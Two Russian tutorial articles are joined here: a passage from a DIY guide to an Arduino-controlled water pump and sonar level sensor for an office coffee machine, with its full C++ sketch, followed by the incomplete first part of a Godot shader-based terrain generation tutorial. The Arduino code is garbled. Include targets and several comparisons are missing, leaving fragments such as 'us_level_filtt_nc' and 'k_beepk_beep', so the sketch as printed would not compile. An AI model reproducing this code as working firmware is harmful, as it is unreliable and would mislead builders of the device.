HC-SR04 ![image](http://www.arduino-diy.com/wp-content/uploads/2015/07/Arduino_HC-SR04.jpg) Удовлетворяет всем пунктам. У бачка есть крышка, к которой можно прикрепить данный датчик и измерять расстояние до поверхности, благодаря что звук от воды отражается обратно на 99% («эхо гуляет по Яхреньгскому озеру» (с) язь), то этот датчик подходит идеально: совместим с ардуино, безопасное напряжение, ничего сверлить не надо, будет скрыт под крышкой (в теории), в магазинах навалом, измеряет уровень полностью от дна до полного. Работает сам датчик следующим образом: у датчика есть излучатель и приемник, излучатель посылает звуковую волну, а приемник слушает когда придет эхо, по всем известным формулам физики и времени возврата эха можно вычислить расстояние до отраженной поверхности. Берем. Также потребуется блок питания 220В->12Вольт им запитаем, и Arduino, и насос. Управлять насосом будем с помощью реле ардуино (подойдет любой модуль реле с управляющим напряжением 5 Вольт и не более 20мА, вы можете его сделать сами, а можете просто купить реле от Ардуино). Для общения с человеческим видом ардуинке прикупим пьезопищалку, дабы оповещать о неисправностях, и кнопку, через которую будем считывать хотелки и поведение человека. Также нам потребуется корпус для складывания всего этого хозяйства, я использовал 3д модель для ардуино уно и прикрепил реле с пищалкой к самому корпусу ардуино. Тут уж кто на что горазд. **Собираем, паяем, сверлим, клеим** Итого что нам потребуется (какое то «пока все дома»...): 1) 2 бутылки 19 литров; 2) Arduino Uno; 3) Блок питания 12 Вольт; 4) Насос погружной BI0002156; 5) Ультразвуковой датчик расстояния HC-SR04 (буду называть сонаром); 6) Поплавковый уровень прямой; 7) Кнопка для взаимодействия с человеком; 8) Реле на 5 Вольт; 9) Пьезопищалка; 10) Корпус; 11) До кучи перемычек папа-мама, мама-мама; Из инструментов: изолента, нож, герметик, сверла, дрель, паяльник со всеми причитающимся. Общая схема изображена ниже. ![image](https://habrastorage.org/r/w1560/webt/2u/ow/dd/2uowddaiztm4rjozuysnmasdm_u.png) Собираем по «принципиальной» схеме ниже всю конструкцию. GND от каждого элемента тянем на любой GND выход Arduino, та же история с +5V. Следование номеру каналов даст вам преимущество не переделывать номера пинов в программе, которая будет ниже. ![image](https://habrastorage.org/r/w1560/webt/sr/8v/mu/sr8vmui79umcorr-anf-w2qlnjs.png) Хотелось бы отметить: 1. Я решал проблему с нехваткой разъемов GND и 5В тем, что припаял проводку к этим выводам и нужные мне датчики запитал от клемников WAGA, куда можно 5 проводов подцепить. 2. Сонар удобно крепится резинками к крышке бачка. Постарайтесь добиться перпендикуляторности излучателя к поверхности воды. 3. На бачек с помощью канцелярского зажима крепится шланг чтобы не выскочил из бачка. 4. Отвод капель из поддона я сделал через распечатанный на 3D принтере штуцер. В низшей точке сливного поддона кофемашины сверлим отверстие 9 мм под него, вставляем его туда и герметизируем соединение. Модель для штуцера под шланг диаметров 8/10 мм ниже по ссылке. [Штуцер / Choke](https://sketchfab.com/models/10084053ab744b3c9517b642ae67e700?utm_medium=embed&utm_source=website&utm_campain=share-popup) by [slimercorp](https://sketchfab.com/slimercorp?utm_medium=embed&utm_source=website&utm_campain=share-popup) on [Sketchfab](https://sketchfab.com?utm_medium=embed&utm_source=website&utm_campain=share-popup) **Программируем** Спасибо [Chupakabra303](https://geektimes.ru/users/Chupakabra303/) за [статью](https://geektimes.ru/post/286870/) на GeekTimes! Без таймеров, детекторов фронтов сигнала не справился бы с программированием. Честно говоря, очень тяжело работать с Arduino, который изначально не заточен под псевдопараллельность задач как настоящие ПЛК. Измерять уровень будем раз в 0.5 с, это необходимо чтобы эхо от прошлого измерения затихло в почти замкнутом пространстве бачка с водой, если чаще измерять — ничего не толкового не выйдет. Общается Arduino следующим способом. При ошибке он пищит N раз с паузой 10 секунд, N — номер ошибки. N писков: 1 – переполнение бутыли для слива или обрыв в линии связи датчика в этой бутыли с контроллером. 2 – проблема с ультразвуковым датчиком уровня (сонар), он либо утоплен, либо отошел какой-либо из проводов. 3 – не подается вода при попытке ее налить. Проблемы: нет воды в бутылке чистой воды, насос, реле, питание, провода. Чтобы квитировать ошибку (жест «я понял»), человек жмет на кнопку 1 раз, Arduino высоко пищит в течении 1 секунды, говорит что принято, я молчу. Человек в это время принимает меры для исправления проблемы, Arduino в этом режиме пищит 1 раз в 1 минуту, напоминая о себе. После исправления проблемы человек жмет 2 раза кнопку в течении 3 секунд (жест «проверь систему»), далее Arduino либо снова выдаст ошибку писком, либо 1 раз высоко пропищит, сказав что все хорошо, «работаю дальше». Помимо этого реализовано: — debug информация по COM порту, для отладки системы, например, отлаживать положение сонара, чтобы он выдавал нужный уровень; — писк пищалкой без останова исполнения программы (соответственно с контролем нажатий кнопки). Исходный код: ``` #include #include //============================================================= //Формальное объявление необходимых триггеров и переменных R\_TRIG R\_TRIG1; R\_TRIG R\_TRIG2; R\_TRIG R\_TRIG3; R\_TRIG R\_TRIG4; F\_TRIG F\_TRIG1; bool TrashFull; //Высокий уровень в отходах bool igotit; //Обратная связь от человека, что он ошибку понял bool check\_pls; //Признак запроса на проверку состояния системы bool PumpUp; // Начать качать воду в резервуар чистой воды bool NoFlow; //Признак отсутствия потока воды от насоса bool Pressed; //Признак того что кнопка нажата bool beep\_pause\_superlong; //Признак супер долгой паузы писка bool beep\_pause\_superlong\_end; // Признак окончания супер долгой паузы писка bool beep\_pause\_long; //Признак долгой паузы писка bool beep\_pause\_long\_end; //Признак окончания долгой паузы писка bool beep\_pause\_short; //Признак короткой паузы писка bool beep\_pause\_short\_end; //Признак окончания паузы писка bool beep\_on; //Признак присутствия писка на выходе пьезопищалки bool beep\_duration\_end; //признак окончания писка bool beep\_granted; //Признак разрешения на писк bool Pressed\_now; //кнопка нажата только что bool UnPressed\_now; //кнопка отжата только что bool time\_end; //время контрольное кончилось bool reset; // сброс контроля по уровню int mode; //режим программы int error; //вид ошибки int n\_pressed; //количество нажатий вовремя интервала 2 секунды int k\_beep; //количество писков за контрольный интервал float us\_level\_raw; //расстояние от датчика до воды, сырое значение с датчика float us\_level\_filt; ////расстояние от датчика до воды, сырое значение с датчика фильтрованный сигнал float level; //уровень в баке float level0; //уровень в баке в момент включения насоса long t0; //Момент времени при котором начался контроль за нажатием кнопки long time\_to\_destroy; //Подсчет времени до разрушения контроля за количеством нажатий кнопок в интервале 2 секунды //============================================================= //============================================================= //Настройка железа Ultrasonic ultrasonic(4, 3); // 3 - Echo, 4 - Trig const int LevelTrashPin = 2; //Вход для дискретного датчика в сливе const int RelayPin = 5; // Выход управления реле const int BeepPin = 6; // Выход пищалки const int ButtonPin = 7; //Вход кнопки //============================================================= //============================================================= //Настройка таймеров //мусорка антидребезг на аварию TON TON1(50); // таймер на 50мс, инициализация //кнопка антидребезг на зажатие и отжатие TON TON2(50); // таймер на 50мс, инициализация кнопка TOF TOF1(50); // таймер на 50мс, инициализация TON TON3(10000); // таймер на 10 секунд, инициализация КОНТРОЛЬНОЕ ВРЕМЯ ПРОВЕРКИ РАБОТЫ НАСОСА TON TON4(1500); // таймер на 1.5с, инициализация ДЛИТЕЛЬНОСТЬ ПИСКА TON TON5(1500); // таймер на 1.5с, инициализация ДЛИТЕЛЬНОСТЬ КОРОТКОЙ ПАУЗЫ TON TON6(10000); // таймер на 10 секунд, инициализация ДЛИТЕЛЬНОСТЬ ДЛИННОЙ ПАУЗЫ TON TON7(60000); // таймер на 1 минуту, инициализация ДЛИТЕЛЬНОСТЬ СУПЕРДЛИННОЙ ПАУЗЫ TON TON8(1000); // таймер на 1 секунду, инициализация ПЕРИОД DEBUG INFO TON TON9(500); // таймер на 0.5 сек, инициализация ПЕРИОД измерений уровня //============================================================= //============================================================= //Настройка констант, параметров системы const int f\_mode=500; //Частота в Гц при подтверждении принятия желания человека const int f\_error=100; //Частота в Гц для ошибок const int t\_nc=5000; //Время отсутствия контроля за ошибками после старта ардуино в мс (time\_no\_control) const int dLevel\_cp=3; //Уровень должен подняться на столько см за контрольный период (cp - control period) const int button\_cp=3000; //Контрольный период нажатия кнопки в мс const float w\_level=0.3; //Вес фильтра сонара const float us\_level\_filt\_fault=0.1; //Значение уровня при котором и ниже считаем датчик в аварии const float HeightTank = 20; //Высота резервуара в см const float HighLevel = 15; //Уровень высокий в см const float LowLevel = 3; //Уровень низкий в см const bool debug\_on=true; //включить ли отладку по Serial //============================================================= void setup() { Serial.begin(9600); // Это команда для Ардуино : задействовать COM порт для передачи данных. pinMode(LevelTrashPin, INPUT\_PULLUP); pinMode(RelayPin, OUTPUT); pinMode(BeepPin, OUTPUT); pinMode(ButtonPin,INPUT\_PULLUP); igotit=false; check\_pls=false; NoFlow=false; beep\_pause\_long=false; beep\_pause\_short=false; beep\_on=false; beep\_pause\_superlong=false; beep\_pause\_long=false; beep\_pause\_short=false; beep\_on=false; k\_beep=0; t0=millis(); mode=1; tone(BeepPin,f\_mode,1000); //пищим что все ок, инициализация завершена } void loop() { //============================================================= //Секция считывания данных //Полный - высокий уровень, Пустой - низкий уровень, Обрыв - высокий уровень. //антидребезг появления признака переполнения, смена состояния с ПОЛНОГО на ПУСТОЙ происходит без задержки TrashFull=TON1.Run((digitalRead(LevelTrashPin))); //антидребезг появления признака нажатия и отжатия //кнопка нормально разомкнута, вход с подтягиванием, один конец на земле поэтому //никто не нажимает - уровень высокий на входе //кто то нажал - уровень низкий на входе //никто не нажимает на кнопку, но прошелся кот и выдернул провод - обрыв //обрыв - уровень высокий на входе, диагностировать линию в данной конфигурации нельзя, //но не очень то и нужно (с) Путин //не очень то и хотелось (с) Таня if (TOF1.Run((digitalRead(ButtonPin)))==false) {Pressed=true;} if (TON2.Run((digitalRead(ButtonPin)))==true) {Pressed=false;} //фильтрация значений с датчика уровня if (TON9.Run(!TON9.Q)) {us\_level\_raw=ultrasonic.distanceRead();}; us\_level\_filt=(1-w\_level)\*us\_level\_filt+w\_level\*us\_level\_raw; //Уровень в бачке кофемашины от 0 до HeightTank в см; level=constrain((HeightTank-us\_level\_filt), 0, HeightTank) ; //============================================================= //============================================================= //Секция интерпретирования поведения системы //NoFlow,igotit,check\_pls //при нормальной работе за контрольное время работы уровень поднимается на dLevel\_cp см и больше. //Если такое не происходит, значит у нас либо не работает насос, либо нет воды в бачке time\_end=TON3.Run(PumpUp && !reset); if ((R\_TRIG1.Run(PumpUp)==true) | (reset==true)) {level0=level;} //запоминаем уровень при старте насоса if ((time\_end==true) && (level-level0=0)) {n\_pressed=n\_pressed+1;} //считываем сколько раз отпустили кнопку if (time\_to\_destroy<0) {n\_pressed=0;} } //Считываем жест человека - "i got it"/я понял. Это означает что человек подтвердил сообщение о неисправности //и принял в работу для исправления, пищать больше не нужно. Человек показывает это следующим действием: //нажимает кнопку 1 раз за 3 секунды if ((mode==2) && (n\_pressed==1)) {igotit=true; n\_pressed==0;} //Считываем жесть человека - "check\_pls"/проверь пожалуйста. Это означает что человек предпринял меры для устранения //неисправности или провел необходимые работы по пополнению бутыли исходной воды и слива отработанной воды и предлагает //вернуться к работе. Человек показывает это следующим действием: //нажимает кнопку 2 раза за 3 секунды if ((mode==3) && (n\_pressed==2)) {check\_pls=true; n\_pressed==0;} //============================================================= //============================================================= //Секция переключения режимов //Если появился признак переполнения в бутыли слива или обрыва датчика, то переходим в режим ошибки и сообщаем код ошибки 1 if ((mode==1) && (TrashFull==true) && (millis()>t\_nc)) {mode=2; error=1;} //Если появился признак обрыва до датчика или утопление самого датчика, то переходим в режим ошибки и сообщаем код ошибки 2 if ((mode==1) && (us\_level\_filtt\_nc)) {mode=2; error=2;} //Если появился признак отсутствия подачи воды от насоса, то переходим в режим ошибки и сообщаем код ошибки 3 if ((mode==1) && (NoFlow==true) && (millis()>t\_nc)) {mode=2; error=3;} //Если у нас есть ошибка и человек подтвердил - переход в режим ожидания и сбрасываем код ошибки if ((mode==2) && (igotit==true)) {mode=3; error=0; igotit=false;} //Если мы в режиме ожидания и нас попросили проверить все ли ок с системой то переходим в нормальным режим и сбрасываем запрос проверки if ((mode==3) && (check\_pls==true)) {mode=1; check\_pls=false;} //============================================================= //============================================================= //Основная логика работы в зависимости от режима //статус программы: 1 - ВСЕ ОК, работаем; 2 - ОШИБКА, не подтвержденная; 3 - ОШИБКА подтверждена, ожидаем отмашки от человека; if (mode==1) { //Проверяем уровень if (level<=LowLevel) {PumpUp=true;} //Уровень ниже минимума - включаем насос if (level>HighLevel) {PumpUp=false;} //Уровень выше максимума - выключаем насос } if ((mode==2) | (mode==3)) {PumpUp=false;} //тут же выключаем насос чтобы не перегрелся //============================================================= //============================================================= //Секция действий по результату работы программы (Digital Output) //включаем и отключаем насос по признаку if (PumpUp==true) {digitalWrite(RelayPin, LOW);} else {digitalWrite(RelayPin, HIGH);} //Нижестоящий код реализован для писка без delay, который тормозил бы программу и делал бы ее неработоспособной //При переходе в режим 1-ый делаем секундный писк, что все ок, я перешел if (R\_TRIG3.Run(mode==1)==true) {tone(BeepPin,f\_mode,1000); beep\_on=false; beep\_pause\_short=false; beep\_pause\_long=false; beep\_pause\_superlong=false; k\_beep=0;} beep\_duration\_end=TON4.Run(beep\_on); //отсчет длительности писка beep\_pause\_short\_end=TON5.Run(beep\_pause\_short); //отсчет длительности короткой паузы beep\_pause\_long\_end=TON6.Run(beep\_pause\_long); //отсчет длительности длинной паузы beep\_pause\_superlong\_end=TON7.Run(beep\_pause\_superlong); //отсчет длительности супер длинной паузы //пищим в режиме 2-ом, количество писков соответствует номеру ошибки if (mode==2) { //блокировки писка: beep\_granted=!beep\_pause\_long && !beep\_pause\_short && (k\_beepk\_beep) {beep\_pause\_short=true; beep\_pause\_long=false;} else {beep\_pause\_long=true; beep\_pause\_short=false;} } //когда закончилась короткая пауза, выключаем признак if (beep\_pause\_short\_end==true) {beep\_pause\_short=false;} //когда закончилась длинная пауза, выключаем признак if (beep\_pause\_long\_end==true) {beep\_pause\_long=false; k\_beep=0;} } //при переходе в другой режим, пищим высоко и инициализируем переменые писков if (R\_TRIG4.Run(mode==3)==true) {tone(BeepPin,f\_mode,1000); beep\_on=false; beep\_pause\_short=false; beep\_pause\_long=false; beep\_pause\_superlong=true;} //пищим если мы в режиме ожидание, пищим раз в супердолгий интервал if (mode==3) { beep\_granted=!beep\_pause\_superlong; //не пищим если только у нас есть пауза длительностью в 1 минуту if (beep\_granted==true) {tone(BeepPin, f\_error); beep\_on=true;} //когда длительность писка закончилась, включаем паузу супердолгую if (beep\_duration\_end==true) { noTone(BeepPin); beep\_on=false; //выключаем признак писка beep\_pause\_superlong=true; } //когда закончилась супердлинная пауза, выключаем признак if (beep\_pause\_superlong\_end==true) {beep\_pause\_superlong=false;} } //============================================================= //============================================================= //Секция Debug, активируется из секции констант if ((debug\_on==true) && (TON8.Run(!TON8.Q))) { //Чистим окно у клиента Serial.write(27); Serial.print("[2J"); // clear screen Serial.write(27); Serial.print("[H"); // cursor to home //И начинаем писать всякую информацию о состоянии системы Serial.println("=================Debug info of ArduOsch================="); Serial.println("=================DicreteInputs=========================="); Serial.print("LevelTrashPin="); Serial.print((digitalRead(LevelTrashPin))); Serial.print("| ButtonPin="); Serial.print(digitalRead(ButtonPin)); Serial.print("| US\_raw="); Serial.print(us\_level\_raw); Serial.print("| US\_filtered="); Serial.println(us\_level\_filt); Serial.println("=================DicreteInputs after processing========="); Serial.print("TrashFull="); Serial.print(TrashFull); Serial.print("| ButtonPressed="); Serial.print(Pressed); Serial.print("| Level="); Serial.println(level); Serial.println("=================NoFlow condition======================="); Serial.print("PumpUp="); Serial.print(PumpUp); Serial.print(" Time\_end="); Serial.print(time\_end); Serial.print(" Reset="); Serial.print(reset); Serial.print("| Level0==="); Serial.print(level0); Serial.print("| TON3\_EST="); Serial.print(TON3.PT-TON3.ET); Serial.print("| NoFlow="); Serial.println(NoFlow); Serial.println("=================How mush was man clicked on button?===="); Serial.print("TimeToDestroy="); Serial.print(time\_to\_destroy); Serial.print("| t0="); Serial.print(t0); Serial.print("| n\_pressed="); Serial.println(n\_pressed); Serial.println("=================What is the system state?=============="); Serial.print("Mode="); Serial.print(mode); Serial.print("| error="); Serial.println(error); Serial.println("=================Beep code=============="); Serial.print("beep\_granted="); Serial.print(beep\_granted); Serial.print("| beep\_pause\_superlong="); Serial.print(beep\_pause\_superlong); Serial.print("| beep\_pause\_long="); Serial.print(beep\_pause\_long); Serial.print("| beep\_pause\_short="); Serial.println(beep\_pause\_short); Serial.print("k\_beep="); Serial.print(k\_beep); Serial.print("| beep\_on="); Serial.println(beep\_on); } //============================================================= } ``` Видео и фото ------------ Видеодемонстрация как все это работает: Кому не хочется смотреть видео, вот пару фоточек: ![image](https://habrastorage.org/r/w780q1/webt/wz/fe/ji/wzfejipc0bed6td4o4kstsspci0.jpeg) ![](https://habrastorage.org/r/w780q1/webt/c-/yl/ed/c-yledn6mesxopgt0unlg5tgdim.jpeg) ![](https://habrastorage.org/r/w780q1/webt/n4/gq/6d/n4gq6dfncqkiwew23s7_ywn151k.jpeg) ![](https://habrastorage.org/r/w780q1/webt/cs/0l/uc/cs0lucvenbgg7gkggej3yxxskju.jpeg) Как чехол использовал почти единственно доступный чехол в Казани, просто серый, как временное решение (что постояннее, чем временное?), потом можно будет красивые чехлы заказать, например, с логотипом фирмы. Вместо заключения ----------------- Теперь меняем чистую воду раз в 4 дня, жидкость из бутылки для слива выливаем в пятницу, за 5 дней запахов не ощущалось. Все счастливы. Знай только выливать да менять бутыли. Никакого Сабантуя, хватит. Делал это все на энтузиазме, которого у меня порой бывает хоть отбавляй, уж очень хотелось пользоваться кофемашиной без нервов, что ей нужно поддон почистить. Сделал первый вариант, где пару строчек, которая запускает/останавливает насос по уровню и пищит при переполнении «мусорки». Но потом подумал и решил сделать на совесть, с диагностикой датчиков, исполнительных механизмов, дабы насос прожил подольше при нашей интенсивной эксплуатации, не было протечек и недопонимания между ArduOsch и моими коллегами, в итоге все это вылилось в довольно таки большой код. Писал статью в стиле беллетристики, чтобы могли посмотреть-почитать с утра за чашечкой кофе, посмеяться чем люди занимаются иногда. Всем всех благ!
https://habr.com/ru/post/350358/
null
ru
null
# Процедурная генерация 3D миров в Godot Engine при помощи GPU. Часть 1 ![Пример сгенерированного ландшафта ](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f43/41f/52b/f4341f52b4e07b86c59719464328e6c8.png "Пример сгенерированного ландшафта ")Пример сгенерированного ландшафта Вступление ---------- Привет! Недавно начал экспериментировать с процедурной генерацией и получил некоторые наработки, которыми и хотелось бы поделиться. Примеры я буду показывать на движке Godot, однако при надобности код можно перенести на любой другой современный движок. Начало работы ------------- Создадим новый проект и скачаем плагин Heightmap Terrain из AssetLib - он уже содержит всё необходимое для базовой работы с ландшафтами. Не забудем также включить плагин в настройках проекта. Если всё сделано правильно, то в списке узлов появится HTerrain. Данный узел как можно догадаться, позволяет создавать ландшафты. А как вообще система представляет для себя ландшафт? Он хранится в виде текстур: карты высот (Height Map), карты нормалей (Normal Map), карты смешивания текстур поверхностей (Splat Map), а также эти самые текстуры поверхностей. Значит, чтобы сгенерировать ландшафт, нам нужно просто сгенерировать карту высот и в зависимости от неё все остальные текстуры? Мы можем выполнять этот процесс в обычном коде, но для больших Terrain, разрешением, допустим, больше 512x512, производительности процессора будет уже не хватать. И тут нам на помощь приходят видеокарта. Для этой задачи хорошо подходят обычные шейдеры. Основа ------ Так как нам нужна 2D картинка мы будем использовать CanvasItem шейдеры. Создадим какой-нибудь узел, наследующийся от CanvasItem. Здесь подойдёт ColorRect, так как нам нужен просто какой-нибудь прямоугольник. Зададим ему размер 4097x4097 пикселей, так как это максимальный размер, поддерживаемый плагином. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/670/55a/3c2/67055a3c2020576b79f443e18ec516fe.png)В свойство Material добавим новый ShaderMaterial. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e87/8f0/2fc/e878f02fc8ec9f7017c1d2b71724d59d.png)Наш прямоугольник должен стать прозрачным. Добавим базовый код: ``` shader_type canvas_item; void fragment() { } ``` В нашем случае функция fragment() вызывается для каждой точки изображения. Например, такой код зальёт всё изображение жёлтым. ``` shader_type canvas_item; void fragment() { COLOR.rgb = vec3(1.0, 1.0, 0.0); } ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/05f/27b/914/05f27b914f7b7a2358cf396844524961.png)Переменная UV содержит позицию точки, причём в диапазонах от нуля до единицы. Как можно заметить, все составляющие векторных переменных можно перемешивать, получая комбинации в любом порядке. Здесь можно было также использовать UV.x, UV.yx, UV.yy и так далее. Это всё давало бы разные интересные результаты. ``` shader_type canvas_item; void fragment() { COLOR.rg = UV.xy; } ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/777/690/39b/77769039b408efa701d713292c94d31b.png)Но вернёмся к нашей теме - генерации ландшафтов. Начнём генерацию карты высот. карта высот использует только один канал R. Для удобства мы будем использовать значения от нуля до единицы. Для начала сделаем заготовку острова - чем дальше точка от центра изображения - тем значение меньше. ``` shader_type canvas_item; void fragment() { float dist = distance(UV, vec2(0.5, 0.5)); float height = 1.0 - dist / 0.5; COLOR.rgb = vec3(height, 0.0, 0.0); } ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b64/c9e/c62/b64c9ec62064357cf9416bda91cc69d0.png)Шум --- Теперь нужно как-то разнообразить наш ландшафт. Для этого можно комбинировать несколько слоев шума. Существует множество реализаций разных шумов, я буду использовать простой Simplex Noise отсюда: <https://github.com/curly-brace/Godot-3.0-Noise-Shaders> Добавим код шума в начало шейдера до функции fragment() ``` shader_type canvas_item; uniform vec2 offset; vec3 mod289_3(vec3 x) { return x - floor(x * (1.0 / 289.0)) * 289.0; } vec2 mod289_2(vec2 x) { return x - floor(x * (1.0 / 289.0)) * 289.0; } vec3 permute(vec3 x) { return mod289_3(((x*34.0)+1.0)*x); } float snoise(vec2 v) { vec4 C = vec4(0.211324865405187, // (3.0-sqrt(3.0))/6.0 0.366025403784439, // 0.5*(sqrt(3.0)-1.0) -0.577350269189626, // -1.0 + 2.0 * C.x 0.024390243902439); // 1.0 / 41.0 // First corner vec2 i = floor(v + dot(v, C.yy) ); vec2 x0 = v - i + dot(i, C.xx); // Other corners vec2 i1; //i1.x = step( x0.y, x0.x ); // x0.x > x0.y ? 1.0 : 0.0 //i1.y = 1.0 - i1.x; i1 = (x0.x > x0.y) ? vec2(1.0, 0.0) : vec2(0.0, 1.0); // x0 = x0 - 0.0 + 0.0 * C.xx ; // x1 = x0 - i1 + 1.0 * C.xx ; // x2 = x0 - 1.0 + 2.0 * C.xx ; vec4 x12 = vec4(x0.xy, x0.xy) + C.xxzz; x12.xy -= i1; // Permutations i = mod289_2(i); // Avoid truncation effects in permutation vec3 p = permute( permute( i.y + vec3(0.0, i1.y, 1.0 )) + i.x + vec3(0.0, i1.x, 1.0 )); vec3 m = max(0.5 - vec3(dot(x0,x0), dot(x12.xy,x12.xy), dot(x12.zw,x12.zw)), vec3(0.0)); m = m*m ; m = m*m ; // Gradients: 41 points uniformly over a line, mapped onto a diamond. // The ring size 17*17 = 289 is close to a multiple of 41 (41*7 = 287) vec3 x = 2.0 * fract(p * C.www) - 1.0; vec3 h = abs(x) - 0.5; vec3 ox = floor(x + 0.5); vec3 a0 = x - ox; // Normalise gradients implicitly by scaling m // Approximation of: m *= inversesqrt( a0*a0 + h*h ); m *= 1.79284291400159 - 0.85373472095314 * ( a0*a0 + h*h ); // Compute final noise value at P vec3 g; g.x = a0.x * x0.x + h.x * x0.y; g.yz = a0.yz * x12.xz + h.yz * x12.yw; return 130.0 * dot(m, g); } void fragment() { float dist = distance(UV, vec2(0.5, 0.5)); float height = 1.0 - dist / 0.5; COLOR.rgb = vec3(height, 0.0, 0.0); } ``` Теперь мы можем использовать функцию snoise(). Также из редактора доступно свойство offset. Создадим вспомогательную функцию get\_height(), которая будет возвращать высоту в точке. ``` ... float get_height(float x, float y) { float base_noise = snoise((vec2(x, y) + offset) * 2.0) * 0.5 + 0.5; float dist = distance(vec2(x, y), vec2(0.5, 0.5)); float height = 1.0 - dist / 0.5; return height + base_noise / 4.0; } void fragment() { COLOR.rgb = vec3(get_height(UV.x, UV.y), 0.0, 0.0); } ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/bab/385/038/bab3850387767a374022ffb1652cb846.png)Меняя свойство offset мы можем получить другой результат. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/63e/545/0c6/63e5450c699e66009b8c0c7959b09f10.png)![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/951/581/0ac/9515810ac9340258e74981e63e56a303.png)Рендер в HTerrain ----------------- Для начала работы, такой картинки будет достаточно. Теперь нужно перенести изображение из нашего шейдера в сам ландшафт. Для этого поместим наш TextureRect в отдельный Viewport. При этом вне Viewport можно оставить копию для отладки. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/fae/c11/2f5/faec112f55ecaca118b1101352fff751.png)Зададим размер viewport равный размеру TextureRect. Также необходимо включить поддержку HDR, которая позволяет принимать значения за пределами нуля и единицы - это нужно для карты высот. Update Mode ставим на Disabled, т.к. мы будем обновлять Viewport из кода только один раз, чтобы получить нашу картинку. Usage установим на 3D No-Effect, т.к. 3D необходимо для HDR. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1f1/f91/3a8/1f1f913a89207c48b2bc798dfdff5486.png)Теперь создадим некий объект, который будет отвечать за генерацию. Прикрепим к нему скрипт. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/5a2/941/7a6/5a29417a611cc38314300460edfa5006.png) ``` extends Node # Импортируем необходимые классы из плагина const HTerrain = preload("res://addons/zylann.hterrain/hterrain.gd") const HTerrainData = preload("res://addons/zylann.hterrain/hterrain_data.gd") const HTerrainTextureSet = preload("res://addons/zylann.hterrain/hterrain_texture_set.gd") # Нам необходим объект Viewport с нашим TextureRect export (NodePath) var viewport_path :NodePath onready var viewport :Viewport = get_node(viewport_path) export (NodePath) var shader_node_path :NodePath onready var shader_node :CanvasItem = get_node(shader_node_path) func _ready(): randomize() # Зададим случайное смещение параметра offse шейдера, для того чтобы при каждом запуске получать разные результаты shader_node.material.set_shader_param("offset", Vector2(rand_range(-100.0, 100.0), rand_range(-100, 100))) # Создадим объект с данными Terrain var terrain_data = HTerrainData.new() terrain_data.resize(4097) # Получим изображение, которое нужно заменить нашим Heightmap var heightmap :Image = terrain_data.get_image(HTerrainData.CHANNEL_HEIGHT) # Заставим Viewport обновиться viewport.render_target_update_mode = Viewport.UPDATE_ONCE # Благодаря этой конструкции мы можем пропустить выполнение пары кадров для этого кода, чтобы Viewport успел зарендерить картинку. yield(get_tree(), "idle_frame") yield(get_tree(), "idle_frame") # Получим картинку с Viewport var computed_heightmap :Image = viewport.get_texture().get_data() # Заменим пустую картинку в нашем Terrain Data полученным Heightmap heightmap.copy_from(computed_heightmap) # Создаём узел Terrain var terrain = HTerrain.new() terrain.set_shader_type(HTerrain.SHADER_CLASSIC4_LITE) terrain.set_data(terrain_data) terrain.translation = Vector3(-2048.5, -25, -2048.5) # Добавим узел Terrain на сцену add_child(terrain) ``` Добавим на сцену узел Camera. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/dd0/71a/056/dd071a0564bef2dc795574924c6e629e.png)На него можем прикрепить простой скрипт для передвижения, взятый отсюда: <https://github.com/adamviola/simple-free-look-camera> ``` class_name FreelookCamera extends Camera export(float, 0.0, 1.0) var sensitivity = 0.25 # Mouse state var _mouse_position = Vector2(0.0, 0.0) var _total_pitch = 0.0 # Movement state var _direction = Vector3(0.0, 0.0, 0.0) var _velocity = Vector3(0.0, 0.0, 0.0) var _acceleration = 30 var _deceleration = -10 var _vel_multiplier = 4 # Keyboard state var _w = false var _s = false var _a = false var _d = false var _q = false var _e = false func _input(event): # Receives mouse motion if event is InputEventMouseMotion: _mouse_position = event.relative # Receives mouse button input if event is InputEventMouseButton: match event.button_index: BUTTON_RIGHT: # Only allows rotation if right click down Input.set_mouse_mode(Input.MOUSE_MODE_CAPTURED if event.pressed else Input.MOUSE_MODE_VISIBLE) BUTTON_WHEEL_UP: # Increases max velocity _vel_multiplier = clamp(_vel_multiplier * 1.1, 0.2, 20) BUTTON_WHEEL_DOWN: # Decereases max velocity _vel_multiplier = clamp(_vel_multiplier / 1.1, 0.2, 20) # Receives key input if event is InputEventKey: match event.scancode: KEY_W: _w = event.pressed KEY_S: _s = event.pressed KEY_A: _a = event.pressed KEY_D: _d = event.pressed KEY_Q: _q = event.pressed KEY_E: _e = event.pressed # Updates mouselook and movement every frame func _process(delta): _update_mouselook() _update_movement(delta) # Updates camera movement func _update_movement(delta): # Computes desired direction from key states _direction = Vector3(_d as float - _a as float, _e as float - _q as float, _s as float - _w as float) # Computes the change in velocity due to desired direction and "drag" # The "drag" is a constant acceleration on the camera to bring it's velocity to 0 var offset = _direction.normalized() * _acceleration * _vel_multiplier * delta \ + _velocity.normalized() * _deceleration * _vel_multiplier * delta # Checks if we should bother translating the camera if _direction == Vector3.ZERO and offset.length_squared() > _velocity.length_squared(): # Sets the velocity to 0 to prevent jittering due to imperfect deceleration _velocity = Vector3.ZERO else: # Clamps speed to stay within maximum value (_vel_multiplier) _velocity.x = clamp(_velocity.x + offset.x, -_vel_multiplier, _vel_multiplier) _velocity.y = clamp(_velocity.y + offset.y, -_vel_multiplier, _vel_multiplier) _velocity.z = clamp(_velocity.z + offset.z, -_vel_multiplier, _vel_multiplier) translate(_velocity * delta) # Updates mouse look func _update_mouselook(): # Only rotates mouse if the mouse is captured if Input.get_mouse_mode() == Input.MOUSE_MODE_CAPTURED: _mouse_position *= sensitivity var yaw = _mouse_position.x var pitch = _mouse_position.y _mouse_position = Vector2(0, 0) # Prevents looking up/down too far pitch = clamp(pitch, -90 - _total_pitch, 90 - _total_pitch) _total_pitch += pitch rotate_y(deg2rad(-yaw)) rotate_object_local(Vector3(1,0,0), deg2rad(-pitch)) ``` Для 